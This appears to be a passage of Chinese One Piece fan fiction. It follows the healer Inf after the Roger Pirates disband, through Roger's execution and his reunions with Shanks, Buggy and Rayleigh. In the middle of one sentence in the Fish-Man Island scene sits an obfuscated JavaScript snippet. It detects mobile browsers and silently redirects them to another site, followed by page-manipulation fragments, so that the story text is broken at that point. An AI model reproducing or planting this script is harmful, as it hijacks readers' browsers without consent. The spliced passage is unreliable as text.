一开始有茵弗和库洛卡斯在,大家都不担心。可是离最终之岛越来越近,茵弗也越来越严肃,他扭着眉头,摸着巴基因为发烧而滚烫的脸,说他需要下船修养一段时间。 香克斯知道不能快速治好巴基这件事让茵弗很难过,也许他还难过别的事。 有一天,他看到茵弗在给巴基送饭之后端着空碗拐到了货舱。 他看到他躲在那里恐慌。 茵弗的见闻色很好,香克斯只能缩在远处的阴影里,模糊地听到对方急促的呼吸,听到他向着神告罪。 “我有罪...不够虔诚...请宽恕...停止——” 四周的货箱都变成了高大的石柱,舷窗投下的一缕月光照在墙上,宛如一只巨大的眼睛凝视着杰克逊号。 在茵弗朝他的方向望来的一刻,处于震惊的香克斯凝固住了,对方没有指责他的偷窥,没有召唤他过去,没有像往常一样调笑。 那一刻,他的天使在他面前,无比地像个人。 他向他伸出手—— 他们手拉手回到厨房送回空碗,谁都没有提这件事,好像没有发生过一样。 有时候香克斯觉得也许那确实是幻觉。 他跟着茵弗和巴基一起下船了,巴基的情况在茵弗的帮助下没有继续恶化,但是常常昏睡,没有什么力气。 他记得自己跟船长他们笑着说,“我们总有一天会乘着自己的船去的。” 茵弗没有开口,他捂住了耳朵。 罗杰船长他们解开了''空白的一百年''的真相,将最终之岛命名为''拉夫德鲁''。报纸上开始频繁出现对于''海贼王''罗杰的介绍,真真假假地混在一起,飞往全世界。人们都知道了他们找到了大秘宝。 他记得茵弗蹙着眉看报纸,脸上充满疑惑。 这段时间他总是这幅表情。 罗杰海贼团解散了。 香克斯不知道大伙儿在拉夫德鲁看到了什么,可是他以为船长的身体在变好。 每一个人都在痛哭,都在不舍,茵弗不在其中。他在解散前就不见了。 他记得茵弗消失前的那天深夜,一只微凉的手抚在他的额头上,他从睡梦中迷迷糊糊醒来,看到一双淡金色的眼。 他不知道那时是几点,他们都习惯了他在医务室忙到很晚。 一双温软的唇代替了那只手,一触即离,一点声响从巴基的吊床那侧传来,蓝头发的实习生发出一声疑惑的鼻音,也许茵弗做了同样的事。 等他再次睁开眼,房间里阳光明媚,但是空荡荡的。 茵弗的东西都不在了。 他从吊床上翻滚下来,冲出船舱,心跳地要从喉咙里吐出来。 罗杰船长和雷利前辈靠在船舷边远眺,看他跑过来之后脸上流露出莫名的神色,那阵沉默拉的那么长,香克斯不知道自己被钉在原地多久。 “茵弗呢...?” 雷利前辈叹出的那口气声音太响,让他脑海里只剩下轰鸣,还有昨夜模糊听到的一声低语: “如果樱花不能盛开...” 不应该是这样的。他们才从鱼人岛接他回来,他们才去了最终之岛,不应该发生这样的事情的。怎么会发生这样的事情呢? 然后海贼团解散了。 香克斯想也许他知道他为什么离开了。 对,茵弗不是消失,他离开了。 如果自己也提前知道了船长的决定,也会选择先一步离开吗? 香克斯扎紧小船上的绳结,巴基在另一侧拉起船锚。他们谁都没有开口。 如果樱花不能盛开,我该去哪呢? - “我曾经担心过,你会成为他的下一个米森。有时候我真的挺讨厌自己的直觉的。” “别担心,老伙计,他可是杰克逊号上的孩子。” “他跟我说,他会努力让我们的冒险可以继续很久。” “这样吗?下次替我好好道歉吧。” “...你就是个混蛋,罗杰。” 雷利听到脚步声回头,对上香克斯慌张的脸。 头发乱糟糟的,衣衫不整,应该是刚醒过来就跑出来了。没穿鞋子,就像那个孩子喜欢的一样。 “茵弗呢...?” 是啊,罗杰,茵弗呢? 他当然知道他们在拉夫德鲁看到了什么,知道了什么,可是罗杰这个,一意孤行,固执的混蛋啊。 罗杰下船了,背着一大包药,数量很多,太多。他向他们的泪水挥手。 雷利转过身去。 - 茵弗没有回头。 即使他知道身后那艘船的船长在看着他。 他生疏地架着小船,努力地划着桨,直到肌肉酸痛,直到日出,直到他知道即使自己回头,也再也看不到杰克逊号上的红帆。 逃避是他的拿手好戏,即使他不知还能逃向何方。 他展开海图,取出记录指针。贾巴教过他如何读上面繁复的线条,教过他如何辨别天气,辨认适合停靠的岛。 他仔细地看着,小船随着海浪摇摆,要起风了。 那张海图被揉成一团,和指针一起被丢入了海。 - 伟大航路上出现了一名游医。 没人知道他从哪来,也没人知道他到哪去。 他身上挎着药箱,背着一卷毯子和行囊,随着风四处漂泊。 他的第一次出现是在一艘遭海贼洗劫的商船上。在小有名气的商人麦克阿瑟以为自己就要随着货物沉入海底时,面前凶神恶煞的海贼船长被一枪打穿了额头。 胖胖的麦克摔在地上,身后挟持自己的海贼发出一声哀嚎。 他颤颤巍巍地支起身子,身旁被丢过来一把漂亮的枪。 一个年轻的少年,拔出腰间的佩刀,用漆黑的刀鞘砸碎了那些海贼的腿,脖子,胳膊,头骨。在打斗声,惨叫声,和骨头碎裂的渗人声响里,那名少年没有发出一点声音。 麦克阿瑟确定自己没有这位客人,也没见过他,也许是偷渡到了船上。 陌生的少年将最后一个海贼抽下海之后只是捋了一把染血的金发,向他走来,要回了短暂借给他自保的手枪。 他手段粗暴地复原了麦克错位的腿骨,然后挨个救治了船上还活着的船员和客人。 他没收麦克的钱,也不在意他的感谢,只是从幸存的货物里挑了些物资,然后搭船到下一个岛。 麦克甚至没意识到他什么时候离开的。 从那以后,越来越多的人遇见了他,知道了他。 有时候他出现在某个岛,有时候在某艘船。 这位游医神出鬼没,路途不定。受过他恩惠的人只知道他医术高超,收费时高时低。 有时候他会索要一大笔钱,有时候他可能只要一块糖,有时候他什么也不要。没有标准,至少,没人知道他到底是按什么标准评判的,大部分人都猜测只是看心情。 他无差别地医治所有人,平民,商人,贵族,海军,甚至是海贼——全看他到了哪里,碰到了谁,当时是什么情况。手法娴熟,时而粗暴时而轻柔,用一些或奇怪或苦涩的药方。 他有时候是客人,有时候是受雇佣的随船医生,有时候是偷渡者;他是游客,是员工,是流浪人。 有人喜欢他,有人讨厌他;他的白色上衣或一尘不染,或染满鲜血,别人的,他自己的,一样地鲜红。 有人猜测他的家乡曾受了海贼王罗杰的入侵,所以现在流离失所,因为他好像不大喜欢听到关于海贼王的话题。 伟大航路有不少奇异的事件,他成了其中之一。人们逐渐开始悉悉索索地相互交流,询问,他们的嘴里出现了一个新的名字,带来奇迹的游医—— 茵弗玛利。 - “有他的消息吗?” 阿龙翻着手里的报纸,一目十行地扫过上面的信息和图片,烦躁地摇了摇头。 “鱼人岛的报纸还是太旧了,就算有消息,我们赶过去的时候人也不在了。”他啧了一声,“尼普顿就不能想想办法和陆地上那群人合作吗?乙姬呢?” 甚平:“王妃去孤儿院了。” 自从那个罗杰成为海贼王之后,他们在某一天购来的旧报纸中,看到了一个熟悉的名字。板块很小,塞在夹缝里,没有照片,但是他们不觉得世界上还有别的叫''茵弗玛利''的''奇迹医生''。 他为什么没和海贼团在一起? 年纪小的孩子们听到他越来越多的消息都很开心,很激动。只有少数人知道这不对劲,不应该是这样的。 他们也试过派人随着报纸上对方最后出现的地点去找,但是那家伙就像个滑溜的海蛞蝓一样,永远也抓不到人。 甚平忍住点燃烟斗的冲动,他现在很少吸烟了,但他觉得自己需要一点尼古丁。 “我带些人手再去找找看吧,多在海面上呆一段时间。” 泰格摇头:“新兵训练场那边刚修好,还需要你。” 阿龙把报纸丢到一旁,抱着胳膊靠在椅子上,脑子里飞速运转着。 弄艘船,多带些同胞在海面上呆一段时间肯定最好,但是得有人带着。但是无论是甚平老大、泰格大哥,还是他自己,现在都走不开。 他离开一年多了,八个月早就过去,阿龙一直认为茵弗玛利下次再来,会满意鱼人街交给他的答卷。 但是阿龙可不满意他的。 三人凝重的情绪被推门钻进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853921|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小人鱼打破,夏莉抱着一个紫色的大水晶球,扑到自己哥哥怀里。 “怎么了,小丫头片子,今天又看到点什么?”阿龙把她举起来,看到夏莉脸上有点害怕的表情,皱了皱眉。 “谁欺负你了?还是看到什么了?” 自从夏莉预言''人鱼公主【波塞冬】将会在十年后出生'',他就确信这丫头确实有预言能力了。他虽然不知道什么是''古代兵器'',但是后来看乙姬的反应,她清楚的很。 夏莉甩甩脑袋,黑色的短发一飘一飘的。 “一个叫罗杰的人类跪在高台上,被处死了,很多人看,很大的雨。”她比划了两下,示意插入胸膛的刀,“好多人类变成了海贼,会来鱼人岛。” 罗杰?海贼王罗杰?被处死? 阿龙第一反应不是''很多人类海贼会来鱼人岛''这一点,而是茵弗玛利怎么办。那个他心心念念的,家人一般的船长,那个他一定要离开鱼人岛去救治的罗杰,要被处死了? 这跟他一个人到处漂泊有关系吗? 泰格:“我走一趟吧,茵弗医生那时一定会去行刑地的。” 甚平:“太危险了,大哥,到时候人类一定会很多。” 阿龙觉得自己可太需要一杯茵弗玛利味道奇怪的茶了,那总会让人精神放松。 如果你无处可去,茵弗,为什么不来鱼人岛? 我们不是朋友吗? - 茵弗其实没有不爱听关于罗杰他们的话题。他只是不想听到关于他们解散的消息,好骗自己奥罗杰克逊号还和所有的家人一起还在海上的某处航行。 时间过去多久了?半年?一年?更少?更多?他不太关注,好骗自己一切都平安无事,时间早就静止在了某个欢乐的一天。 他不在意自己现在的名气,别人对他医术的称赞只会让他觉得胃里恶心。但他仍然流浪,仍然行医,他总得找点事情做,免得一脚迈入死门。 虽然现在也差不多了。 他窝在某个船上的货舱里,在木桶之间蜷缩,这艘船挺大的,有的是地方给他这一只小小的老鼠。他溜上来时看到旗子上画了什么,天色太黑,他失血太多,没太看清。 米森靠墙坐着,离他很远。 他有点委屈。 “姐姐,你可以像往常一样,坐到我身边来吗?” 米森笑了笑,稍微挪近了一点,但还是很远,伸出手都碰不到。 “好吧好吧,我知道你生气,但是他们用小孩骗我,你知道,我不怎么聪明的。” 船开了,他听到有人在外面走动,大概是去甲板上帮忙。他鼻尖上全是血腥气,有点憋闷,可惜这间货舱没有舷窗,他甚至不能换个气。 “你为什么不给自己止血?” 茵弗示意了一下自己的药箱:“那群家伙拿走的东西不少,就连纱布都在那个孩子身上用完了。” 他叹了口气:“他们让我想起来鱼人街,姐姐,药品,食物,这些能救命的资源会让他们不惜一切手段争夺。” 他们不相信茵弗会帮他们,所以即使杀了他也要让自己活下来。 算了。 茵弗:“我有点困了,你不坐过来,至少能给我唱歌吗?那首不是礼赞的歌,我不太记得了,你从来不来我的梦里提醒我。” 米森:“我不觉得在这里睡觉是个好主意,我的弟弟。” 茵弗嗯了一声,他视线发黑,不想睡也得睡了。 “没关系,所以,歌?” 米森:“你知道我不能唱给你听。” 茵弗抿了抿嘴。 这艘船大概补给了不少东西吧,有不少人吆喝着从甲板上要往船舱里搬。他藏的够深,应该不会被发现,现在的他现在没精力面对任何人,包括坐在米森旁边的胡子男人。 罗杰:“我来给你唱吧!就唱《宾克斯的美酒》!” 茵弗闭上眼睛:“可是您快死了。” 罗杰把地板拍的梆梆响,和门外越来越近的脚步声重叠:“我还活着呢!” 他不知道该说什么。 - “有话快说,库赞!不就是抓到个偷渡的小子吗?随便送到下一座岛不就好了!” “是、卡普先生。不会耽误找您汇合的,不过...”库赞挠挠头,面前眉角带着一道疤的电话虫扬起脸,大概他的这位老师又在抠鼻子。 “他伤的挺重的,而且,有海兵认出他是近年挺有名的''奇迹游医茵弗玛利'',就是上次帮了第三支部的那个。” “...谁?” “茵弗..玛利...?名字挺特别的。” 电话虫的眼睛闭了闭,库赞不确定卡普是在思考还是又突然睡着了。 “带他一起来罗格镇,小子,我要见他。” “是!” 35.我该去哪呢 茵弗从那位好心的军医口中得知了自己是如何又一次活了下来,还有他们现在已经不在伟大航路,而是进入东海了。 他无所谓,这段模糊的经历不止是混沌了时间,也搅乱了他的方向。 他随便选一艘船,选一座岛,跟着风前进的方向徘徊,也进进出出伟大航路好几次了。 有时候一觉醒来就到了西海,回神又到了南海,他和货物一起被运来运去,或者住一间贵宾的船舱。 不过搭军舰的机会倒是少。 “谢谢您,库赞先生,给您们添麻烦了。” 库赞回过神,听海兵们说,他没想到是个这么小的家伙,看起来也就十五六岁吧? “啊不、你没事了就好。有士兵认识你,海军受过你的帮助,我替他们感谢。” 茵弗摆摆手,“我也是偷渡您们军舰了嘛,两清了。您把我放在下一座岛就好。” “我们已经到罗格镇了,离公开处刑还有段时间,我的长官想见你。” 公开处刑? 茵弗最近不怎么看报纸,不过好像是听人提起过东海的罗格镇要发生什么大事... 他的思绪被打断了,医务室的门被哐的一声推开,一道有些熟悉的大嗓门传来。 “那小子呢?” “噢!卡普先生!好久不见了。” 卡普仔细打量了他一眼,拽着库赞的领子就把他丢出去,关紧了门。 “老夫要和这位医生好好谈谈!别让别人过来!” 他转向茵弗,走到他床边坐下时一下子疲惫了许多。 “您最近很累吗?我可以给您配些放松精神的药。龙先生不在吗?” 茵弗想到了什么,从床头柜上取过军医之前归还的物品,翻出一张有点破烂的纸。 “正好您在这里,我想问一下您是否有渠道可以帮我打听这几颗恶魔果实的消息,治愈果实,手术果实...” 卡普接过那张纸看了看:“你不是什么''奇迹游医''吗?还需要恶魔果实?” 茵弗:“嘛,总有我做不到的事情。” 卡普顿了一下:“给罗杰...?” 面前的小子没回话,低头搓着手指。 他不知道...? “罗杰今天要被处刑了。” 茵弗玛利猛地抬头,死死地盯着卡普。 “今天...?” 卡普肃穆地点头,看着茵弗玛利用颤抖的手捂住了耳朵。 - 夏莉说的没错。 很多的人,很大的雨。 香克斯和巴基混在人群之中,泪流满面地看着他们的父亲在处刑台上笑着将无数的人指引向了大海,然后被海军刺穿胸膛。 在周围的欢呼声中,他们凝视着,直到罗杰的尸体被海军带走,再也看不到。 茵弗不在这里,他在海上做游医,时不时的能看到消息,香克斯追不上他。他不知道他过得怎么样,是否收到了船长处刑的报纸。 香克斯不确定自己是否希望茵弗在这里。 他学着记忆里的样子十指交握放在唇边,闭上眼喃喃自己从来没认真记过的语句:“愿您安息,灵魂...像飞鸟、像蝴蝶....” 巴基:“....跃进金色的拱门,去向...乐园。” 他好像忘了吻一下自己的手指。 巴基:“那家伙...不会去拉夫德鲁的吧。” 香克斯点头,茵弗只想跟着杰克逊号,只有他自己是不会对其感兴趣的。 “我也打算组建自己的海贼团了,你呢,巴基?要不要和我一起?” 巴基:“去拉夫德鲁?” 香克斯摇头:“暂时不打算去了,不过我还会当海贼。” 巴基一把抓住他的领子:“茵弗不去也就罢了!你为什么——”他指指香克斯头上的草帽,“你不是船长的——” “我不在就吵架啊,你们。”他们身后传来一声叹息。 二人猛回头。 雨还是很大,人却少了很多。茵弗站在那里,脸上带着熟悉的微笑。 他还戴着香克斯送的项链,巴基送的耳饰,头发大概是自己随便修过,刘海长短不一,扎起的马尾里参差不齐地冒出些碎发,被雨水打湿粘在脖颈上。 他看起来瘦了,比在鱼人岛重逢时还瘦一点,如果不是还带着些顽固的婴儿肥,香克斯都快要认不出他了。 不,他不会认不出他的。 茵弗脸上的笑容褪去,牵上他们的手,就像他做过千百次的一样——拉住他们,香克斯在一头,巴基在另一头,不让他们分崩离析。 “对不起、”他说。 对不起。 因为他逃了,不告而别,因为他不够勇敢,不够强大,因为他救不了罗杰,因为—— 叮铃。 推开酒馆的门,三名少年选了个偏僻的卡座,茵买了三杯热牛奶,并向店主借了毛巾。 “啧,怎么又是牛奶,本大爷要喝酒。” 茵弗擦干巴基的头发,又转手换了个毛巾开始擦香克斯的红发。 “我不在的时候你们想喝就喝,别让我看见就行,记得护肝。” 香克斯有很多想问的话,但是毛巾干燥而柔软的触感揉在他的头上,嗅着即使淋湿,茵弗身上也依然存在的淡淡药香,他只是说: “你真的不上我的船吗?哥哥?” 茵弗嗯了一声,这个魔法咒语第一次失效了。 “我承蒙卡普先生和他的弟子关照,可能会在他那帮忙一段时间,然后...可能会回北海看看吧。” 北海?回亨姆岛吗?不是磁鼓岛? 茵弗收回手,把毛巾往自己脑袋上一搭,将牛奶推给他。 “你们休息一下也快些离开吧,海军在到处抓人呢。我看看能不能在卡普先生那给你们创个窗口溜出罗格镇。” 无论是他还是巴基,都默契地没有提刚刚在雨里的一切。他们像往常一样聊着天,语气自然,就像他们仍然在杰克逊号上一样。 巴基:“我也不会上你的船的,臭克斯。” 香克斯点点头。 茵弗摸了两把巴基长长了不少的头发,“巴基要去拉夫德鲁吗?上次生病了真的很可惜哇。” 巴基没有回话,茵弗发出一声思考的声音,“嗯...想去就去嘛,香克斯暂时没这打算,不上他的船也行,我也不去,你找的船员一定会很有趣吧?一起寻宝什么的,很浪漫啊。” 巴基咽了口口水,瞄了香克斯一眼,对上他的笑容后低头猛灌了两口牛奶。 “知道了知道了!你就等着看本大爷华丽丽的通缉令吧!” 茵弗:“嗯。” 他又摸了摸香克斯的头,在对方看过来时露出温柔的笑。 “我期待着。” 他们享受了一会儿有彼此在身边的安静,直到茵弗在看了眼时间后有些匆忙地起身:“我想跟你们多呆一会儿,但是还有事,留给我的时间不多,得赶过去了。” 他们没有提告别,没有提再见,香克斯的一千个问题都没有问出口,不过他觉得那些事情也不重要了。 这次即使没有茵弗在中间,他也拉住了巴基的手。巴基看了他一眼,没有甩开他,有些小心地回握了一下。 “杰里,一个没有责怪过你的人不会给你原谅。” 茵弗玛利顿了一下,点了点头,然后再次走入不止歇的暴雨之中。 - “抱歉,卡普先生,我来晚了。” 卡普只是摇头示意他别在意,将茵弗带到了一个偏僻昏暗的牢房,挥退了在门口把手的两名海兵。外面的雨水将墙壁洇出来一股潮气,带着鲜血的气息。 “去吧,时间不多,老夫作为担保人得在这儿看着你。” 茵弗点头,深吸一口气,走进了...停放着罗杰尸体的牢房。 他在他高大的身躯边跪了下来,罗杰的脸上还带着笑容,只是不会发出声音,不会睁开眼睛,不会把他举到肩头,不会叫他''小黑''。 他努力使自己的声音不要颤抖。 “海军...准备把他葬在哪?” 卡普:“...海葬吧。” 他拒绝了茵弗玛利想要罗杰遗体的请求,不论他多么同情这个孩子。上面会不会允许海贼王的遗体安眠在某块土地里另说,这会给茵弗招来太多不必要的关注。 罗杰海贼团曾努力地不让世界政府知道茵弗在他们船上,卡普不会让他们的努力白费。 茵弗点点头。 罗杰好像只是睡着了,胡子还是很粗糙,捏起来软软的,无论他怎么揉捏都没有醒来。 他轻轻握上了那失去温度的手。 好安静。 太安静了。 如果香克斯和巴基还在这里,他们可能会宁愿相信这牢房中有鬼祟作怪,也不愿意相信茵弗在啜泣。 可事实就摆在卡普眼前,跪在罗杰身旁的少年如虾米一般蜷缩着,一只手紧攥着对方,一只手死死地抵在脸上。指缝之间溢出泪水,发出不成调的呜咽。 在哭声之间,夹杂着些许断断续续的忏悔,难以辨认听清。 那声音太悲痛了,不应该是一个少年发出的声响,更像是什么离群濒死的小兽。 卡普叹了口气。 他眼前又闪过与罗杰临刑前的最后一次会面,两人几十年来的亦敌亦友,他不会拒绝他最后的托付。 以后做个海贼也好,游医也罢,再也不出海做个平民都无所谓,卡普的朋友拜托他关照他,那么他会的,连着...一起。 意识到了什么,这位海军英雄站直身体,耐心地等茵弗冷静下来。 他用见闻色扫了一圈,确定没人能听见他们的谈话,在茵弗终于可以喘匀气之后开口: “你知道...他有孩子了的事吗?” 茵弗玛利刚刚起身就僵住了,不可置信地放下擦脸的袖子。 “什么...?” - 知道了茵弗总要去北海的,香克斯决定先在东海转转,慢慢也去北海转转,顺便路上找几个船员。 他没想到茵弗跟着军舰往南海去了。 军舰的速度很快,无论是用通行证经过红土大陆还是靠着镶嵌海楼石的船底跨过无风带,都比商船或海贼船要方便许多。 茵弗玛利以医术高明的理由被卡普''雇佣''合作,随着军舰航行,实际上只是为了送他去罗杰的爱人与孩子所在的地方——巴苔里拉岛。 在他们突然更改航向时,茵弗疑惑地敲开卡普办公室的门,对方正骂骂咧咧地挂断电话虫,烦躁地揉眼睛。 “发生什么事了,卡普先生?” 卡普:“计划有变,老夫得回总部一趟,你在香波地等我。” “有任务?如果您忙,我可以自己去南海的。” 卡普端详了他一会儿,开口说道:“不,世界政府那边收到举报,说罗杰在巴苔里拉''与某一位女性有亲密举动'',现在正在探讨海军方下一步的行动。” 又来了,不断追赶他的时间,即使离开了杰克逊号,离开了罗杰,它也又一次露出獠牙,啃咬茵弗玛利的脚踝。 如果政府真的查出来了罗杰有爱人,有孩子,他们不会允许海贼王的血脉存活。 他得提前赶过去,将他们带走,可是跟着卡普的军舰是最快的速度了,就算需要等对方去总部几天也一样。 可是他怕等跟着卡普的军舰,或者其他去调查巴苔里拉的军舰去,就来不及了。 茵弗开始啃咬自己的指甲,他也不知道自己什么时候有了这种''失礼''的陋习。 卡普安慰地拍拍他的肩膀:“不论总部那边做什么决定,老夫会尽快,库赞会在香波地跟着你。” 茵弗感激的点头,虽然他不需要别人的保护,不过他很感谢卡普这段时间对他的照顾。不论是让他见罗杰最后一面,还是送他去南海,还是对他安危和身份的关照。 “请带一些我新配的茶吧,这个消息大概会在海军总部引起不小的混乱,它能帮您舒心一点。” - 香波地。 茵弗玛利久违地踏上这片虚浮的树群,对着泡泡里映出的模糊身影感到一阵迷茫。 他现在...该做什么?调查一下海港最近要离港去南海的船只?不...相信卡普... 库赞看他停下脚步,有些疑惑。 “你没来过香波地?需要我帮你介绍吗?” 在军舰上相处的这段日子,他们俩说亲近不算,但是确实可以说是友好,毕竟当初是库赞决定把偷渡的他从失血而亡的边缘拽回来的。 “不、我来过。” 茵弗再次抬脚,往记忆里的方向走去。 总之,先验收一下朱尼尔他们的答案,然后去拜访一下夏琪吧。 “额...那边是不法地带。” 茵弗笑笑:“嗯哼?海军先生怕了?” 库赞友善地用手肘怼怼这个比自己矮不少的年轻人:“嘛,卡普先生可是让我保护好你啊。” 香波地还是老样子,商业气息浓厚,游乐园里放着各种旋律甜腻的音乐,摩天轮屹立在泡泡之间缓缓旋转着。 不过,因为罗 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茵弗笑得眼睛弯弯,将那份煎饼塞到他手里。见到杰克逊让他放松了些,至少他还活着。 “哦!真是失礼了,库赞先生,这是杰克逊,杰克逊,这位是库赞先生。” 杰克逊狐疑地打量库赞一眼,嚼着煎饼里的馅料举起一只手掌,算是打了招呼。 他很快把注意力再次转向茵弗,对方这几年变了不少,但是他绝对不会认错他的恩人。 “茵弗哥这次在香波地呆多久?珊米他们都很想你呢!” 茵弗更开心了:“大概不出意外的话几天吧,本来想去看看你们呢,珊米他们都没事吗?” 杰克逊咽下最后一口煎饼,听到他的问话点点头:“嗯...算是吧!”他在脸上比划了一下,“珊米的腿好了,但是有一次混战的时候一颗子弹贴着脸炸开,所以有一大片烧伤,有一只眼睛也看不太清了。” 茵弗点点头,还活着就好,他来了,那些都是小问题。 “朱尼尔呢?还有你们那群小弟弟?” 杰克逊刚开口,煎饼摊老板就催促他去处理原料,他只能随便在身上抹了一把手,指指不法地带的方向。 “朱尼尔也没事,我们失去了三个伙伴,不过也有新人加进来。你可以先去棚屋那边。” 茵弗从善如流地摸一把他有点油的头发,告诉他晚点见。然后去买了几盒伟大包,继续往不法地带走。 库赞:“嗯...你们怎么认识的?” 茵弗听到他他委婉的问法乐了,有点模糊地解释:“当时路过这边,他们被卷入一场不幸,您知道我是医生嘛,就帮了点小忙。” 库赞点点头,他是知道''游医''的事情的,也就没多想。不过,对方帮了这群孩子的事实还是让他感到尊敬。 自己所坚持''燃烧的正义''与茵弗玛利不太一样,不过他想,本质上都是互通的。 见到朱尼尔他们之后茵弗长舒一口气,他自己的药还没怎么做新的,但是从军舰上顺了不少。 与激动的孩子们拥抱之后,他检查了珊米的眼睛。 伤疤现在没办法,他自制的没有了,上次打劫自己的那群人是真的抓了一堆药就跑。 “这次我没什么办法啦,只能给你一些让你眼睛好受点的药水,下次见面我会治好你的,疤也都消掉,让你变回那个白净的小萝卜~” 他亲亲珊米的脸,已经十岁的小丫头脸蛋红扑扑的,烧伤的部分显得有点可怖,不过茵弗觉得她漂亮极了。 他挑着一些有趣的故事给他们讲,特别是鱼人岛,朱尼尔在听到小八很会做章鱼烧的时候眼睛亮亮的。库赞也讲了不少海军里的趣事,茵弗听着也挺新奇。 杰克逊匆匆赶回后,他像之前一样给他们做了晚饭,然后在一群小豆丁依依不舍的告别声里和库赞踩着月光离开了。 有一阵子,他们都没说话。 明明见到他们自己很开心,可是突然如巨石般的沉重压上他胸口,让他有些喘不上气。 库赞应该看出来他心情不好,也没有打扰他。 “库赞先生...命运...究竟是什么呢?” 卷发的海军被他突然的问题弄得一愣,也不知道如何回答。 茵弗换了个问题:“您觉得1%和99%有区别吗?” 库赞挠挠头:“当然了吧,99%可能性更高一点不是吗?” 茵弗摇摇头:“我不明白,先生。” 面对库赞的疑惑,他解释道: “如果有人遇到海贼攻击,而海军只有1%的几率能及时救下他,您会因为不是99%的成功率而放弃吗?” 库赞:“当然不会了!” 他坚定快速的回答让茵弗笑了笑,又瞬间变得苦涩了起来。 “您看,这就是我弄不明白的,很长一段时间我总觉得除了0%和100%,概率没什么意义。” 即使是99%,也存在1%的可能性,它与50%在他看来没什么区别。在一切尘埃落定前,他们代表的东西是一样的。 香波地的孩子们活下来了,罗杰没有,米森没有。 “命运...真的就那么百分百吗?” 库赞听得有些迷糊,他也没有答案。所以他实话实说:“我不知道,但是如果我能让那个只有1%存活概率的人活下来,那么我会去的。” 茵弗眼眶发烫,自从那天在罗杰冰冷安静的身躯前崩溃,他十几年都没哭过的阀门就像被扭开了一样。感谢黑夜,库赞没有注意。 他很想问他,如果那个人选择拒绝你呢? 可是他不想让对方那颗热血滚烫的真挚之心与他一起难过。 所以他问:“您能给我听听吗?海军的歌?” 库赞挠头,大概就是军歌吧?虽然有点难为情,不过他还是开口清唱: “大海在看着~这个世界的开始。” 大海也知道,这个世界的终点。 疼痛,苦难,都为我包容。 宽广的温柔的,为我包容。 茵弗听着,库赞有些低沉的嗓音传递出一股他没有在别的歌里听到的厚重感。一种守护,奉献,向往。 守护。 奉献。 向往。 为我包容。 他眼前浮起泪水,如大海的波涛一般承载起挂着红帆的虚影。 他眨眨眼,任由其滚落,在库赞唱完最后一句时看清夏琪的敲竹杠酒吧的亮光。 36.悲伤淹没香波地 出于礼仪,茵弗玛利本来想在敲竹杠请库赞喝一杯酒,可推开门看到吧台边趴着的金发背影时,他慌忙避开夏琪惊讶的视线和库赞疑惑的询问,转身逃了。 雷利听到了门口的铃铛声,不过他没回头,这是家酒吧,当然会断断续续的有很多客人。 罗杰死了,自首了,几十年的冒险与战斗没有杀死他,疾病没有杀死他,他自己走到断头台上面去了。 他大笑,大哭,然后就泡在酒精里把自己变成一滩烂泥。也许明天,或者下星期,他会去找点别的事做,比如赌博。 但是今天,唉!今天,先喝酒。 夏琪没有招呼客人,只是在铃铛又发出一声脆响后从鼻子里叹息。雷利没在意,他趴在吧台上看着自己手里的酒杯晃来晃去,用金黄的酒液模仿着大海的浪。 夏琪倒不是不想招呼客人,而是还没来得及招呼,那个熟悉的黑皮小家伙就跑了,身后还跟着个海军。 她瞅了一眼自己吧台上的泥巴醉鬼,绕出去把他铲起来,脸上拍两把,勉强拼凑成一个前海贼王副手的形状。 “喂,老雷,小茵弗来了。” 雷利激了一下,眯起迷蒙的眼睛,狐疑看看门口又看看她。 “骗你干嘛?”夏琪指指铃铛,“喏,见到你就跑了。” 雷利摘下眼镜,揉了一把脸。茵弗这一年多不是没有经过过香波地,报纸上有写,只不过时间停留的不长——他好像在哪停留的时间都不长——也没有来过夏琪的酒吧。 又跑了?也许他不想见雷利吧。 夏琪递过来一杯清水,里面掺了点柠檬和薄荷,让他漱漱口,清醒一下。 “别胡思乱想,那孩子需要你,尤其是现在。不过他身后跟着个海军,所以你出去等,别去追他。” 他可不觉得茵弗会再回来。 但是他仍然接过那杯水,随便理了一下衣服,坐到离敲竹杠不远的一块树根上远眺。 - 茵弗确实不想回去,可是他又想回去。他随便搪塞过库赞的询问,七拐八拐地扯着他找了间旅店住下。 雷利在香波地? 是了,海贼团解散了,如果明天他去跳海遇到桑贝尔都不稀奇。 他想不想跳海另说,他想见雷利。 可是他太害怕了,见香克斯和巴基的时候都没有这么让他踌躇。当时他看到他们吵架就习惯性凑上去了。 道歉,对,他得道歉。 他在深夜溜出房间,展开见闻色霸气,隔壁的库赞气息平和,应该已经休息。但他还是谨慎地没有从对方门前穿过,而是打开自己房间的窗户翻了出去。 跑到半路,他意识到,如果敲竹杠关门了呢?如果雷利休息了呢?夏琪看到他了,也许他该回头,可是—— 他在等他。 酒吧里的灯光调的很暗,夏琪应该只是留下一盏灯就去休息了。金发男人坐在门外一块凸起的树根上,深夜的潮气打湿了他的衣衫,往日习惯搭在刀上的手边放着个酒壶,没有开封。 他们对视了几秒后,雷利敞开手臂,就像他做过无数次的那样。 “你长高了。” 这是他在他们二人紧紧相拥时所说的第一句话。 茵弗十六岁了,雷利不能再像他十二岁时那样抱起他,但是他仍然像从前那样托着他的后背,摸着他的头。 茵弗没有回答,而是转而开口: “...他死了。” “嗯。他还跟我说他是不会死的呢。” 茵弗:“他骗您的,他一点声音都没有了” “嗯,他是个混蛋。” 香波地没有什么蝉鸣,除了二人的呼吸声只能听到泡泡浮起又破碎,一颗又一颗,像未曾预料的结局,戛然而止的梦。 ““对不起。”” 他们同时开口——为我们没能做到的一切。 往常,虽然二人都是金发,但是雷利的发色要更深,比起茵弗的直发也是微微发卷。可是此刻在月光下,他们两个好像没什么不同了。 “罗杰也让我替他说对不起。” 